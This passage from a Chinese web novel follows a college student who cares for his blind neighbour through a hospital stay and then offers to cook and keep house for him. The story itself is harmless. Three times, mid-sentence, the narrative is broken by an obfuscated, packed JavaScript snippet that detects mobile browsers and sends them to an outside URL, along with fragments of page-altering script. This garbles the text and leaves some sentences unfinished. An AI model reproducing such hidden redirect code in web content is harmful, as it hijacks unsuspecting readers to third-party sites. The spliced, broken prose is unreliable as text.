“你没有其他亲人了吗?”裴泽扬问他。 “有个远房亲戚,但不在这边,来往也不多。”温墨老老实实的,有问必答。 他对人根本没有防备心。 裴泽扬:“没说将你接过去?” “说了,但我不愿意。” 温墨跟那个亲戚并不算熟,父母出事后才见过第一次,对方提过将他接过去,他拒绝了,他不想和陌生人生活在一起,更不愿意寄人篱下,这太别扭了。他宁可自己独自一人生活。 “朋友呢?”裴泽扬继续问。 “有几个。” 以前家里的邻居,住在楼下的初中生弟弟……现在应该念高中了。还有在盲人学校念书时认识的同学。 但这些朋友距离现在的他很远,也没有办法帮助他。 而且他也不能总是想着要别人帮助。 “没关系啦。”温墨是个对情绪很敏感的人,他能感觉到裴泽扬对他的善意与怜悯。 这样的感觉,其实对他来说并不陌生。从小到大,很多人都在可怜他,尤其丧亲之后,这些目光就更明显了。 他习惯了,所以并不觉得被冒犯,反而觉得裴泽扬是个很善良的人。 但是……除了怜悯之外,还有一丝,莫名的情绪,在裴泽扬的身上。 温墨想了好一会儿,才意识到是心疼。 心疼,怜爱,愧疚,懊悔,自责…… 很复杂,有点儿陌生却又熟悉。因为以前,他偶尔受伤的时候,父母为他上药时,给他的是同样的感觉,心疼到愧疚自责。 温墨愣住了。 7. 医院 温墨觉得自己的想法很奇怪。 他和裴泽扬才认识多长时间,裴泽扬怎么可能会对他有这么复杂的情绪呢?就好像他是裴泽扬的责任,裴泽扬在懊悔没有照顾好他似的。 这太没有道理了,温墨摇了摇头,想甩掉这些乱七八糟的想法,只觉得可能裴泽扬本身就是一个很好很热心的人。 在温墨过去十八年的人生里,他没少遇到类似的好心人。这样想的话,又觉得裴泽扬不算多奇怪了……大概吧。 虽然对方给他的感觉确实复杂一些,但温墨没有继续往下想,而是对他说:“不用太放在心上,这种情况很少。” “可能是最近降温的原因。以后感冒,吃过药后我会记得量体温。” “没关系,这只是个意外。” 而意外是不常出现的。 温墨自己还病着,却在安慰裴泽扬。他希望自己的话能减轻裴泽扬对他的愧疚,尽管他并不知道这愧疚感从何而来。 “你之前喝到过期牛奶。”裴泽扬却并没有因此觉得好受。 他还记得温墨说过的话,拿给他的药盒里面,有治疗腹泻和胃病的药,那是误食过期牛奶之后,留下来的药。 所以无论温墨说得再轻松,裴泽扬始终觉得他是脆弱的,照顾不好自己,一团小小,失去父母庇护的幼兽。 很可怜,让人觉得怜爱,心疼。 激起了他那莫名其妙,不知道从何而起的保护欲。 “不会再发生这种事了。”裴泽扬沉默半晌后,忽然说出这么一句话来。 “嗯?”温墨歪了歪脑袋。 “嗯嗯!” 以后不会再发生这种事了,他以后会很小心,尽量少进医院,减少意外的发生。 两人牛头不对马嘴,各有各的理解,却意外说到了一起。 …… 半个小时后外卖送到。裴泽扬找的是一家专门在晚上营业的餐厅,点了小米粥和鸡蛋羹。 小米粥煮得米香浓稠,金黄温润,温墨吃了大半碗,蛋羹也吃了好几勺。 味道很不错,就是裴泽扬坚持喂他,让他有点儿不好意思。 “我吃饱了。” 勺子喂到嘴边,温墨偏了偏头:“不吃了。” “最后一口。”裴泽扬想让他多吃一点。 他刚刚才知道温墨从昨天晚上就没有吃饭,饿了那么久,一碗小米粥都没有吃完。 温墨太瘦了,骨头都硌人,他要多吃一点把身体养好,才能少进医院。 “好吧好吧,最后一口。”拗不过裴泽扬,温墨最终还是张嘴,吃了两大口。 可是鸡蛋羹他真的不想吃了,也吃不下去。 即使裴泽扬依旧觉得他没饱,却也只能反复跟他确认:“真的不吃了?” “嗯嗯!真的!”像是生怕裴泽扬不信似的,温墨点头点得特别用力,“我真的吃饱了。” “是吗。”裴泽扬目光垂下,看向温墨的小腹,有点想要上手摸摸,检查一下的意思。 ……会不会有点冒犯。 裴泽扬在思考一个很明显的问题,认识温墨之后,他思考的次数呈直线上升。 但是温墨看不见。 裴泽扬一思考就静止,病房里突然没有声音,让温墨觉得不解。 “裴泽扬?” 他喊裴泽扬的名字,裴泽扬才回过神来。 “哦,行。”意识到自己想摸温墨肚皮的想法有点不对劲,裴泽扬的脸色变了变,很不自然。他匆忙应声,一副十分忙碌的模样,“那我去扔垃圾了。” 温墨:“好哦。” 裴泽扬跑了老远去扔垃圾,还在外面冷静了好一会儿才推门进来。 温墨乖乖地坐在病床上等他,穿着宽大的病号服,侧头看向窗外,一小截白皙修长的脖颈映在他的瞳孔中,在灯光下泛着柔和的光芒。 窗外传来嘀嘀答答的雨声,温墨好像在听雨声,开门的动静传来,他转头“看”向门外。 “裴泽扬。” 温墨问他:“外面的雨是不是小了很多?” “啊?嗯……对。”裴泽扬刚刚出去冷静了一会儿,就在医院的走廊里,但他压根没有注意外面的雨有没有变小。 刚刚出门是掩饰自己怪异的想法。 现在进来又盯着温墨的脖子出了神,说些乱七八糟,不是很帅的回答。 这不对。 很没有形象。 也不是他平时的样子。 裴泽扬觉得就算不在温墨面前刻意伪装,那至少也得维持平时的模样吧。他平时就挺酷挺帅的。 裴泽扬选择重新回答。 “嗯,雨小了。”特意无声地清了嗓子后,装出来的沉稳淡然,游刃有余的,充满着bking意味的淡淡嗓音。 “那我什么时候可以出院啊。”温墨问他。 裴泽扬:“烧退了就可以出院。” “那我退烧了吗?”听见裴泽扬这样说,温墨抬手摸了摸自己的额头。 “我摸不出来哎。” 感觉脑袋和手上的温度是一样的。 温墨用手心手背摸了两次,都没有摸出来。 裴泽扬:“……” 裴泽扬:“我来帮你。” 热心且助人为乐的好邻居朝温墨走过去,男生宽阔干燥的手掌覆盖在他额头上。 裴泽扬的手掌很大,温热,掌心还有层厚薄不一的茧。而温墨的皮肤却光滑柔嫩,又薄又透,像果冻似的。 裴泽扬都不敢用力,仿佛他的动作稍微重点,就能在这雪白的皮肤上留下骇人的痕迹。 “差不多快退烧了。”他压下心底升起的怪异感觉,语气别扭地说,“明天应该可以出院。” “真的呀?那太好了。”温墨不喜欢医院,他想回家。 裴泽扬嗯了一声,正准备松开他,温墨却很突然地抓住了他的手。 “你手上怎么有这么多茧?”温墨对这件事很好奇,他以前确实没有摸到过类似的手,他爸爸都没有这么厚的茧。 难道裴泽扬是做什么体力工作的吗? “手?”裴泽扬低头,看见温墨拉着他的手掌,在摸他的指节和明显有茧的地方。 温墨的手比他小多了,却牢牢地抓住他,让他连挣都挣不开。 裴泽扬因为他的动作,心跳变得有点快。尤其温墨摸他时,纤细修长的手指在他掌心上游走……心跳变得更快了。 想躲开。 他不喜欢被人触碰。 裴泽扬心里是这样想的,可他却挣脱不开,只是看着掌心白皙的手指。半晌,在温墨“嗯?”声的催促下,他开口,语气僵硬地说:“玩攀岩留下的吧。” “哇!攀岩啊!你好厉害!” 陌生的,从未接触过的运动,让温墨更加觉得新奇。 他只在电视里听过攀岩。 “是那种很高的山吗?”他问。 裴泽扬:“……” “不是。是攀岩俱乐部。”裴泽扬没有真正地攀岩过高山或者悬崖,他只在俱乐部玩过。没有达到温墨的预期,他心底升起了些许微妙的感觉。 “太厉害了。”温墨夸赞道,“我只会跑步。我之前参加过马拉松。” “跑了半马,我觉得很有意思。” 他这个年纪,只要能出门玩,那都是有意思的。 裴泽扬看着他,问道:“那你还想参加吗?” “想啊。”温墨点头。 “下次有马拉松的活动,我跟你一起去。”裴泽扬说。 “好啊好啊。”温墨猛猛点头,松开了裴泽扬的手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416149|200770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 温热的触感骤然消失,裴泽扬又觉得不适应了。 不止手上空落落的,连心里也是。 “那你是大学生吗?”温墨过了一会儿问他。 “对。”裴泽扬回答。 “哇哦~”温墨猜中了,觉得自己很厉害。 他们住的小区离一所大学很近,温墨听裴泽扬的声音,不像年龄很大的样子,估计也就二十岁左右,所以猜测他是大学生。 “你呢?”裴泽扬问他。 “应该也还在读书吧。” “没有呢。”温墨轻声否认。 原本他的父母是想要他考特定高校,读特殊教育,以后留在盲人学校,身边都是同类人,不用承受恶意与怜悯,生活圈子简单,没准还能找到喜欢的人,组建家庭,互相扶持。 两人就这样平平淡淡地过完一生,也挺好的。 这是父母为他规划的生活。 父母总是希望自己的孩子能安稳,平安,幸福。 但意外来得很突然。 父母的离世,让那些打算好的未来只能暂时搁浅。 考试他没有参加,那时他正在住院,后来又计划搬家的事情,来到一个全新的,完全陌生的环境,慢慢地学着照顾自己,每天光是管自己的吃喝就花了大部分时间,他哪里还有时间重回学校。 能更加顺畅地熟练生活再说吧。 温墨双手搭在被子上,对裴泽扬笑。 他没有将自己的困境说给裴泽扬听,相反,他更好奇裴泽扬的大学生活,和裴泽扬聊他的事情,知道了裴泽扬比他大两岁,在读大三,就是离他们小区不远的那所大学。 听他说着大学生活,偶尔听到有趣的地方,温墨还会跟着笑,慢慢地,聊天的声音变小了,温墨眼皮渐渐合上,声音直至完全消失。 均匀的呼吸声响起。 睡着了。 裴泽扬盯着温墨的睡颜看。浓密纤长的睫毛,轻轻地耷在眼睑上,投下浅浅的阴影,呼吸清浅绵长,安安静静的,乖巧漂亮得像个小瓷娃娃。 这次睡着看着安稳多了。 不像前几个小时,眉头紧皱,脸色苍白,还喊妈妈。 裴泽扬又想到温墨喊妈妈的事情,忍不住从鼻腔中发出一声轻笑,弯腰下去,替他掖了掖被子。 他的动作很轻,温墨却还是短暂地清醒过来,抓住他的手,迷迷糊糊地对他说:“裴泽扬,你也睡觉吧。” “好。”裴泽扬回应。 “病房里面有陪护床吗?”他稍微清醒了一点。 裴泽扬:“有,你快睡觉。” “那就好……你睡在陪护床上吧,你也早点睡觉哦……Zzzzzz——” 困死了,却还惦记着裴泽扬有没有睡觉的地方。 看得出来温墨是强行让自己清醒了几秒来关心他,关心完后又控制不住地睡着了。 裴泽扬觉得他很可爱,丝毫没有困意,只想看着温墨睡觉的样子。 温墨今天抓了三次他的手。 温墨怎么喜欢抓他的手。 他觉得温墨像个瓷娃娃。 …… 不对。 先前他觉得温墨是个小可怜,像流浪猫他都能理解,毕竟温墨看上去小小的一团,真的很可怜。但是现在,他为什么会觉得一个男生像娃娃? 这很奇怪。 裴泽扬站在原地,迷茫,不解,疑惑揉了揉脑袋,金发尽数捋到脑后,发现没有了刘海的视野遮挡,他看温墨好像看得更加清晰了。 尽管他本身的额发也不长。 可是这样看来,他越发觉得温墨像那种漂亮,脆弱,很容易被打碎的陶瓷娃娃。 所以必须好好看护,保护,照顾着他才行。 裴泽扬得出的结论是明天再睡。 8. 顺手 第二天早上,温墨醒来时发现连续下了好几天的雨终于停了。 天气放晴,早上护士来查房时将窗户打开通风,雨后特有的潮湿与草木的生涩味很快被他捕捉到,用力地嗅闻几下后,温墨从床上坐起身,侧头面向着窗户。 “雨停了啊。”他对裴泽扬说。 “对。早上刚停。”裴泽扬从洗手间出来,回答温墨的话。 昨天晚上守了温墨整夜,只在天亮的时候眯了一会儿,听见温墨醒来的声音后,他很快睁开眼,清醒过来。仗着年轻,身体好,能熬,用冷水洗了把脸,立马跟没事人一样,完全看不出昨晚熬穿了。 “他退烧了吗?”裴泽扬问护士。 “退了,体温已经恢复正常。”正好到了时间,护士取下温度计,对两人说,“再观察几个小时,等会儿医生过来检查,确定没有其他问题,你们就可以办出院手续了。” “太好了!”温墨非常开心。 马上就可以出院回家了! 大概是因为上半年在医院住得太久,闻够了消毒水的气味,温墨这会儿不太情愿继续住院,迫不及待地想要回家。 裴泽扬觉得他像个小孩似的。 ……怪可爱的。 早上十点半,医生来查房。仔细检查了温墨的身体后,确认他没有其他不舒服的地方,便开了药,叮嘱了几句注意事项,终于给他办了出院手续。 裴泽扬的冤种兄弟袁宸过来接他们。 大好的周末,袁宸原本打算赖床到中午再起,结果被裴泽扬一个电话喊过去,认命地给他当司机。 远远的,他看见裴泽扬一头耀眼的金发,抬手打招呼。 在来之前,袁宸一直很疑惑裴泽扬怎么又把自己搞进了医院,还以为他是不是又摔伤了腿,来的路上一直感慨少爷怎么这么不安分。结果走近一看,发现裴泽扬身边的温墨,单薄的身形,安安静静地站着,拽着裴泽扬的衣服。 两人的体型差,并排站着更加明显了。温墨跟裴泽扬的小挂件似的。 袁宸很快反应过来是谁进了医院,问道:“小邻居咋了?” “发烧,昨晚晕倒了。”裴泽扬烦他这种称呼,不耐烦道,“什么小邻居,他有名字,叫温墨。” 袁宸:“……” 这就应激了。 “对,我叫温墨。”相比于裴泽扬的态度,温墨友好多了,人也礼貌,跟袁宸打招呼,“你好。” “你好你好,我叫袁宸,我们昨天见过的,还记得吗?”袁宸刚准备告诉温墨,他就是昨天和裴泽扬一块儿搬家的那个人,他们昨天见过。 但没等他说出来,温墨先他一步开口。 “记得,我能听出你的声音。”温墨对他笑了笑,唇角微微扬起,“185。” 说着他顿了一下,有些迟疑地补充:“点7?” 袁宸:“?” 啊? 哈哈哈。 连小数点都记得。 他自己都忘了他说过点7。 袁宸也忍不住笑了,觉得温墨很有意思:“对对对,是我,185.7,你记性真好啊。” 话音刚落,裴泽扬死亡视线射过来,看袁宸的眼神里充满了警告,意思很明显,少在温墨面前贫嘴,花言巧语,说些有的没的。 他就知道昨天袁宸对温墨说身高不怀好意,这不就给温墨留下了深刻的印象? 还点7上了。 温墨都没有记得他190.6。 裴泽扬臭着张脸,很不爽,眼神中戾气明显,无声地吐出四个字: 离他远点。 袁宸:“……” 他又不是洪水猛兽,护犊子这么严重。 假笑一下蒜了。 袁宸不和裴泽扬计较,对温墨露出一个他看不见的笑容,战术性地清了清嗓子,说:“走吧,上车,我送你俩回去。” “谢谢你。”温墨向袁宸道谢,抓着裴泽扬的手,跟着他一块儿坐在后座。 昨天裴泽扬将他送来医院时情况紧急,温墨的盲杖没有带,所以他现在只能紧紧地抓住身边的裴泽扬走,还得避开他的伤腿。 裴泽扬走得也不是很顺畅,这几天都在下雨,地上湿漉漉的,小水坑很多。温墨看不见又拉着他的袖口,他拄拐走路,每一步都得很小心。 他摔了事小,牵连到温墨就不好了。 孩子才刚出院呢,别待会儿摔一跤又进去了。 两人这走路看着就怪累的,袁宸望着他们的背影无声摇了摇头,觉得裴泽扬纯粹是在自讨苦吃。 因为只要裴泽扬愿意放开温墨,让他来扶着温墨,裴泽扬都不至于那么辛苦。 可惜裴泽扬并不愿意。 他不仅不觉得累,反而还有种乐在其中的感觉。 “……” 自讨苦头还乐上了,神人来着。 - 袁宸送这两个残疾人回家,这次被破格批准可以送上楼。 没办法,裴泽扬和温墨都不方便,只能暂且让袁宸帮忙。 袁宸白眼都翻到天上去了,心里不爽,但暂时还能继续容忍裴泽扬。 因为裴泽扬以前是真的救过他的命,小时候他掉进湖里,是裴泽扬捞他上来的。救命的恩情,才让袁宸如此之忍他。 电梯来到五楼,温墨听裴泽扬说已经到了家门口,颇有些归心似箭的意味,连忙按着指纹开锁,回到家的第一件事就是先去找自己的盲杖。 终于回到了熟悉的环境,再加上有盲杖在手,温墨找回了安全感。他摸索着来到卧室,在床头找到了手机,又拿着盲杖出门。 袁宸和裴泽扬都还没离开,他们在电梯附近交谈。袁宸看见温墨又出来了,跟他打招呼:“那什么,温墨,我走了啊。” “这么快。”温墨微怔,问他,“不进来喝杯茶再走吗?” “我刚刚是去拿盲杖了,进来坐坐吧。” “不用不用。”袁宸连忙摆手拒绝。 他哪里敢去温墨家里坐啊,还喝茶,他又不是不想活了。 袁宸干笑了两声:“茶就不喝了,你请其他人喝吧。我还有事,先走了哈。下次见。” “好。”听他说有事,温墨也就没有坚持挽留,挥了挥手和袁宸告别,“今天谢谢你了,下次有机会再请你喝茶。” “行。”袁宸顶着裴泽扬眼神的压力应承下来。 电梯门合上。 和袁宸告别之后,温墨这才转头面对着裴泽扬的方向,他的手指按在手机屏幕上—— “你的手机怎么在叫?”突然传来语速很快的读屏声,叽里咕噜的,奇怪得很,裴泽扬还以为温墨的手机是不是坏了。 温墨告诉他:“这是盲人模式,语速有点快,你听不清很正常。” 裴泽扬:“哦。” 明白了。 其实也不一定听不清,待会儿他回去了,自己听几遍就明白了。 裴泽扬不太喜欢听温墨说他不懂之类的。 不懂也要变成懂。 “嗯……”温墨继续说,“住院一共花了多少钱,我转给你?” 他刚刚就是在找微信的二维码,准备将钱转给裴泽扬。 先前在医院他没有手机,只能拜托裴泽扬帮忙垫付。回家后的第二件事,就是先拿手机还钱。 但裴泽扬并不需要他还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416150|200770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱。 举手之劳而已,他不想跟温墨算得很清楚。 “不急。”裴泽扬不跟他说这件事,只是问他,“你中午吃什么?” “……应该煮个粥吧。” 现在快十二点了,差不多到了午饭时间,温墨想了想:“再看看冰箱里有什么食材,简单炒两个菜就行。” 虽然他烧退了,但感冒还没有完全好,医生给他开了不少药,还叮嘱他最近要饮食清淡,不能吃辛辣的食物,所以他打算煮个粥,再清炒个时蔬,简简单单吃一餐。 “冰箱里有菜?”裴泽扬问。 “有啊。”温墨告诉他,“前天社区有人来看望我,帮我买了一周的食材过来。平时都是社区的志愿者帮我买过来的,不过从下周开始我要自己出门买了。” “我认识去超市的路。” “这么厉害。”裴泽扬问他,“那现在冰箱里有什么?” 温墨唔了一声。 这可问倒他了。 具体有什么他不太清楚,他只会在准备做饭时去摸有什么菜,摸到什么就吃什么,跟开盲盒似的,也是温墨孤独的生活里,一件很有意思的小事情。 因此,他从来没有特意关注过何意给他买的东西。 回答不上来,老实孩子便邀请裴泽扬进屋,让他亲自去看。 裴泽扬倒也不跟他客气,好像就是在等温墨邀请他似的,立刻跟着进屋了。 玄关左边就是餐厅,冰箱在餐厅里。裴泽扬走过去,打开冰箱门。 冷藏柜有蔬菜,土豆,红薯,胡萝卜,彩椒,黄瓜,西红柿,鸡蛋,包括一些下饭的瓶瓶罐罐,萝卜干,辣椒酱之类。 冷冻层则是鱼虾,肉类,还有不少速食产品。品类众多,还很丰盛。 裴泽扬报给温墨,温墨问他:“有红薯呀?” 裴泽扬:“嗯,有。怎么了?” “那应该是何意姐姐她妈妈种的红薯。”温墨说,“上周她给我打电话,说她妈妈寄了一箱红薯过来,是自己家里种的,想给我拿点,我说不用,没想到她还是拿过来了。” 温墨很感动,家人的心意比任何东西都贵重,何意还愿意分给他。 “那中午吃番薯粥吧。”温墨很快决定好,“再炒个胡萝卜,我记得冰箱里还有秋刀鱼。” “有。”裴泽扬打开冷冻层,看见了还剩大半包的冷冻秋刀鱼。 柠檬也有。 番薯粥,清炒胡萝卜,再煎一条秋刀鱼,做法不复杂,有肉有菜,营养均衡。温墨其实挺会养自己,只是目前还不太熟练而已。 “我来做饭怎么样?”裴泽扬帮他把食材拿出来后,忽然提议。 “啊。”温墨愣了愣。 起初他没有反应过来裴泽扬的真正意思是什么,只以为裴泽扬昨天才刚搬过来,可能家里还没有收拾好,所以借他的厨房。 温墨当然愿意了,连连点头:“好啊,好的。” “温墨,我是说,我以后每天都来给你做饭怎么样?”裴泽扬大概也觉得自己的请求有点突兀,不太对劲。毕竟他们昨天才刚认识,说出这种话来真的很奇怪。 裴泽扬没什么底气,语气很不自然,表情也别扭。 但他还是想说。 “我反正也没有什么事,自己也要吃饭,顺手就帮你把饭做了,家里打扫一下,洗洗衣服做做家务什么的,我都会,也能打发下时间……你觉得呢?” “啊?”温墨听到裴泽扬说完全部的话,有点儿傻眼。 做饭也就算了。 按裴泽扬说的,反正他也要吃嘛。但是…… 打扫洗衣服干家务……这些都、都顺手吗? 9. 做饭 不是很懂裴泽扬说的话,温墨研究了好一会儿都没研究明白,半晌,语气有些讪讪地开口说:“这不太好吧。” 哪里会有这么顺手的事情。 温墨虽然看不见,人也很单纯,但他不至于是个傻子,这种话都相信。 很显然,裴泽扬是为了帮他。 他现在只觉得裴泽扬可真是个热心善良的大好人。 温墨很喜欢和他待在一起,年轻有活力的大学生,还处处照顾着他,好相处,热心肠,看上去脾气很好。 真的是个特别特别特别好的好人。 很温柔,也很善良。 温墨在心里偷偷给裴泽扬连发了好几张好人卡,并且还在心里勾勒出了完全不符合他现实真实相貌的温柔邻居大哥哥的形象。 可他却拒绝了裴泽扬。 “不用了。”实在不好意思麻烦对方到这种程度,裴泽扬跟他非亲非故的,真的没有必要。 实际上,温墨尽量不想给别人添麻烦,就连何意每周来看他一次,给他采购食材,都让他觉得很不好意思,在熟悉了新房子后,他很快就开始尝试出门,努力想要摸清外面的环境,想自给自足。 温墨不想成为别人的困扰,一个生活无法自理的麻烦,永远被各种好心人照顾。 可能现在是出于一时的好心,但时间长了也会觉得烦。 他经历过这些事,比谁都要清楚。 所以他选择拒绝。 “为什么?”裴泽扬眉头紧皱,不明白温墨为什么不让。 有人帮忙,不是会更加轻松吗?裴泽扬无法想象一个盲人如何独立生活,也觉得温墨不该这样。 温墨没有办法独居,他也不应该孤独地生活着,学着做那些自己不熟练的家务。 裴泽扬觉得温墨不该是这样的。 一个先天失明的盲人,已经十八岁了,却在失去父母之后什么都要重新学习。这足以证明他以前也是父母捧在手心上的宝贝。 他想让温墨回到过去无忧无虑的生活。而不是每天这里摔一下,那里碰一下,每天睁眼就为了生活忙碌。 他都看不见了,为什么还要过得那么难。 裴泽扬昨天送温墨去医院,医生给温墨扎针检查的时候,他全程都在,所以他很清晰地看见了温墨身上青青紫紫,磕碰摔伤的痕迹。 手臂,后腰。 还有手指上切菜的刀伤。 想到那些伤痕,裴泽扬心里就跟堵了块石头似的沉闷。 他连借口都不找了。 上次找借口找理由才敲温墨的房门,平白无故让温墨白白烧了好几个小时。 他现在只想光明正大地帮温墨。 “你是不是担心我是坏人?”想来想去就只有这一个理由,裴泽扬有点不爽,喉结滚了滚,声音像是从胸腔硬挤出来的沉闷,“我不是,你放心好了。” “我没有那么想……”温墨连忙否认。 裴泽扬不说话了。 他其实也觉得自己挺可疑的,温墨不相信他很正常……裴泽扬忽然想到了一件事。 “你之前说社区有什么志愿者来看你,帮你买什么什么的,那我是不是也要过去登记?” “我去一趟。”裴泽扬好像明白了什么。 他的脑子简单,想事情、做事情的方法也很简单。 别人能帮温墨,他不行,显然是因为他少了一道程序。 他现在要去补上。 那以后他就能持证上岗,正大光明地照顾温墨的生活起居了。 温墨:“……!!!” “等等!” 裴泽扬像阵风似的蹿出去,灵活得仿佛没有腿伤似的,温墨就只抓住他的一点衣角,很快就脱手了。 要不是依旧听见了拄拐的声音,他还以为裴泽扬的腿好了。 温墨有点儿恍惚。 “你在家里等我,我去拿身份证和学生证,很快就回来。”不知道登记是个什么流程,但证件肯定是要带的。 裴泽扬回到自己家,从几个箱子里面翻找,找出想要的东西后,他抬头,发现温墨正站在他家门口。 不知道什么时候跟过来的,手足无措地站在门口不动,盲杖紧紧地攥在手里,一副不知道该怎么办的模样。 “怎么了?你先回去。”裴泽扬说,“我办完手续就回来,应该不用很久。” 他要去持证上岗了。 连装样都顾不上。 “裴泽扬,真的不用。我不是担心你是坏人,我……”温墨卡壳了,不知道该说什么才好。 裴泽扬这入室抢劫一般的邻居情,让他有点招架不来。但他很感激裴泽扬,他拒绝只是担心自己给别人添麻烦。 “不用去社区登记的。”想了好一会儿,温墨觉得,暂时还是先不要让裴泽扬去社区登记了。 雨今天才刚停,外面依旧湿滑,有不少坑坑洼洼的小水坑。裴泽扬腿不方便,少走一步都是休养生息了。 而且也没有说想要照顾他,就必须先去社区登记,得到许可后才能做的说法。 有志愿者上门,是因为他作为一名盲人,是社会的弱势群体,刚搬来这个小区没多久,对周边和家都不太熟悉,所以社区才会安排志愿者每周一次上门,避免他在家里出现意外。 这是社区对他的帮助,不是说社区有着照管他的责任。 “不要去了,社区不管这些。”温墨告诉他。 “不管?”裴泽扬不太相信,跟他确认,“真的?” “嗯嗯。”温墨连忙点头,“先做饭吧。” “其他的事情以后再说。” 温墨努力安抚……说服他? 不知道为什么,温墨莫名有种在安抚大狗的感觉。 他之前住的那个家,楼下初中生弟弟养的哈士奇,见到他就汪汪汪地叫,扑到他身上来。每次温墨都蹲在地上抱着哈士奇的狗头摸上好一会儿,它才会变得安静。 怎么现在……裴泽扬给他这种感觉? 不是温柔的邻家哥哥吗…… 温墨更恍惚了,直觉这样的想法不对,怎么能说人是狗呢。 咳。 温墨心虚地站得更加笔直,紧紧攥着自己的盲杖。 “也行。”裴泽扬想了想,最终答应下来。 慢慢来也好。毕竟他跟温墨才认识两天。时间还很长。 “嗯,好……对了,你昨天刚搬过来,需不需要我帮你收拾房间啊?”跟着裴泽扬来到他家后,温墨发现裴泽扬家里似乎很空,他站在门口说话,竟然空旷到能听到回音。 温墨甩掉自己脑子里乱七八糟的想法,意识到裴泽扬估计没怎么收拾,连家具都没有多少,提出帮忙。 “不用。”裴泽扬拒绝了。 他哪能让温墨帮他做这些。 他才是要帮温墨的那个人。 等吃完饭,温墨休息的时候,他随便收拾一张能睡觉的床就行了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416151|200770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 裴泽扬不讲究。 “走吧。”两人达成共识,裴泽扬现在要去给小邻居做饭了。 - 两人重新回到温墨家,原本温墨还提出想帮裴泽扬打打下手,比如洗洗菜之类的,但裴泽扬连这些都不让他做,只问他,以前和父母住在一起的时候,他父母做饭时,他在做什么。 这话让温墨愣了好一会儿,他呆呆地站着,过了十多秒才反应过来回答:“看电视,玩手机?偶尔也会看书。” “那你现在就做这些。”裴泽扬不由分说地拉着温墨的手腕,将他带离厨房,“你现在是想看电话还是玩手机,还是看书?” “……”温墨又认真思考了半分钟。 “看电视?” 他家现在没有盲文书籍,以前是去盲人阅览室借阅,但他暂时还走不了那么远。 “好。”裴泽扬帮他打开电视,“你想看什么?” “有动物世界吗?”温墨问。 裴泽扬又帮他调到播放动物世界的频道。 温墨坐在沙发上,乖乖地坐着,靠在扶手边,盲杖放在身侧,听着前方电视里传来“万物复苏,春回大地……” …… 把温墨安顿好了,裴泽扬终于可以去做饭。 他回到厨房清点食材,秋刀鱼,胡萝卜,红薯,大米,蒜。 裴泽扬将蔬菜洗干净,不太熟练地削着红薯和胡萝卜,忽然很想知道温墨在做什么,有没有在乖乖看电视。 几分钟不见就开始担心,裴泽扬心不在焉地切完胡萝卜,还是没忍住转身,目光望向客厅—— 客厅里没有人。 刚刚还坐在沙发上的温墨,此刻消失得无影无踪,客厅里没有半个人影。 裴泽扬愣了一秒,立马去找人。 “温墨!”裴泽扬喊他。 “啊?” 声音从阳台传出来。 温墨茫然的声音,回头:“怎么了——” “你怎么去阳台了?”裴泽扬快步走过去,看见温墨手上拿着几件衣服,正往衣架上套。 “我来晒衣服啊。”温墨说,“刚刚想起洗衣机里还有衣服没有晒,我就……呃?” 话都还没有说完,手中忽然一松,衣服被裴泽扬抢走了。 “我来晒,下次有事要做就跟我说。” 温墨:“……” 好吧。 衣服晾晒好后,裴泽扬问他:“你还有什么忘了没有?” 温墨想了想。 温墨摇头:“没了。我去看电视吧……” 裴泽扬:“好。” 温墨重新回到客厅,坐在沙发上,端正认真,双手搭在膝盖上,跟幼儿园的小朋友一样乖巧。 裴泽扬回到厨房。 这次把大米洗干净了,他顺便回了下头,往客厅望了眼。 温墨没有再乱跑,乖乖坐着看电视等开饭。 裴泽扬也终于放心了。 接下来要做什么来着? 煮粥。 对,先煮粥。 煮粥要放水。 裴泽扬正准备大展身手一番,忽然想到一个很致命的问题。 煮粥要放多少水来着? 不对。不止煮粥。 他的动作忽然顿住,表情也随之僵在脸上。 裴泽扬想起一件很重要的,但被他遗忘了的事情。 他压根就不会做饭。 “……” 10. 感慨 大少爷前二十年的人生,几乎没有进过厨房。 他家里光是厨师就有好几个,大学后搬出来也有钟点工,再不济也能让熟悉的餐厅给他送饭到家,哪里需要自己做。 他连厨房都不进,更别提自己亲自动手做了。 此刻裴泽扬才想起这个致命的问题,看着眼前的这些食材,沉默了很久很久。 那接下来应该怎么办? 现在开始学? 裴泽扬倒是想,不会的话,学会就好了,他本来就是要为温墨做饭的。可这毕竟是第一次,他担心万一做得不好吃,那温墨也太可怜了,还在生病就要被迫吃他的试验品,这还很不利于他在温墨心里的形象。 不会还抢着要做,万一温墨觉得他不靠谱,以后不找他帮忙了怎么办。 所以这件事绝对不能暴露。 裴泽扬很快拿定主意,关上厨房门,给相熟的餐厅点餐。 在等待送餐的时间里,他也没有闲着,而是找了个教程,自己跟着教程学习做饭。 